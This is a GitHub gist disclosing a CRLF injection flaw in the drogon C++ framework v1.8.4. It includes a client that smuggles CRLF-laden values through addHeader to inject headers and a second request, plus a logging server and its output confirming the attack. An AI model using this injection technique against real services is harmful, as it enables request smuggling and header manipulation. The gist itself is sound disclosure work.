Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 09:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/d2abd809f32ec6c61be1f41d80edf61b to your computer and use it in GitHub Desktop.
Save dellalibera/d2abd809f32ec6c61be1f41d80edf61b to your computer and use it in GitHub Desktop.
CRLF Injection in drogon@v1.8.4

Information

Project: drogon

Tested Version: v1.8.4

Github Repository: https://github.com/drogonframework/drogon

Details

drogon is vulnerable to CRLF Injection when untrusted user input is used to set request headers in the addHeader function. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.

More reference about this vulnerability and its impact:

Reference to similar issues affecting other projects:

Setup

PoC

The PoC demonstrates how it's possible to add arbitrary headers and perform 2 requests in a single API call.

  • create a web server to log incoming requests:
drogon_ctl --version
A utility for drogon
Version: 1.8.4
Git commit: 87a3132fd1c0da1a88e080c879a9e55af71586be

drogon_ctl create project server
  • paste the server code in main.cc

  • build and run the server

cd build
cmake ..
make
./server
  • create a client that sends requests with headers contains CRLF characters
drogon_ctl create project client
cd build
cmake ..
make
./client

Server Logs:

test1 request received
HEADERS
evil=hello1
myheader=A
connection=Keep-Alive
host=localhost:8081
user-agent=DrogonClient

test2 request received
HEADERS
evil=hello2

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.

Author

Alessio Della Libera

#include <drogon/drogon.h>
#include <future>
#include <iostream>
using namespace drogon;
int main()
{
auto client = HttpClient::newHttpClient("http://localhost:8081");
auto r = HttpRequest::newHttpRequest();
r->setMethod(drogon::Get);
r->setPath("/test1");
r->addHeader("MyHeader", "A\r\nevil: hello1\r\n\r\nGET /test2 HTTP/1.1\r\nevil: hello2\r\n");
client->sendRequest(
r, [](ReqResult result, const HttpResponsePtr &response) {
if (result != ReqResult::Ok)
{
std::cout
<< "error while sending request to server! result: "
<< result << std::endl;
return;
}
std::cout << "receive response!" << std::endl;
std::cout << response->getBody() << std::endl;
});
app().run();
}
#include <drogon/drogon.h>
using namespace drogon;
int main()
{
app().registerHandler(
"/test1",
[](const HttpRequestPtr &req,
std::function<void(const HttpResponsePtr &)> &&callback) {
auto resp = HttpResponse::newHttpResponse();
std::cout << "\ntest1 request received" << std::endl;
auto headers = req->getHeaders();
std::cout << "HEADERS" << std::endl;
for (auto const &header : headers)
{
std::cout << header.first << "=" << header.second << std::endl;
}
resp->setBody("test1");
callback(resp);
},
{Get});
app().registerHandler(
"/test2",
[](const HttpRequestPtr &req,
std::function<void(const HttpResponsePtr &)> &&callback) {
auto resp = HttpResponse::newHttpResponse();
std::cout << "\ntest2 request received" << std::endl;
auto headers = req->getHeaders();
std::cout << "HEADERS" << std::endl;
for (auto const &header : headers)
{
std::cout << header.first << "=" << header.second << std::endl;
}
resp->setBody("test2");
callback(resp);
},
{Get});
LOG_INFO << "Server running on 0.0.0.0:8081";
app().addListener("0.0.0.0", 8081).run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment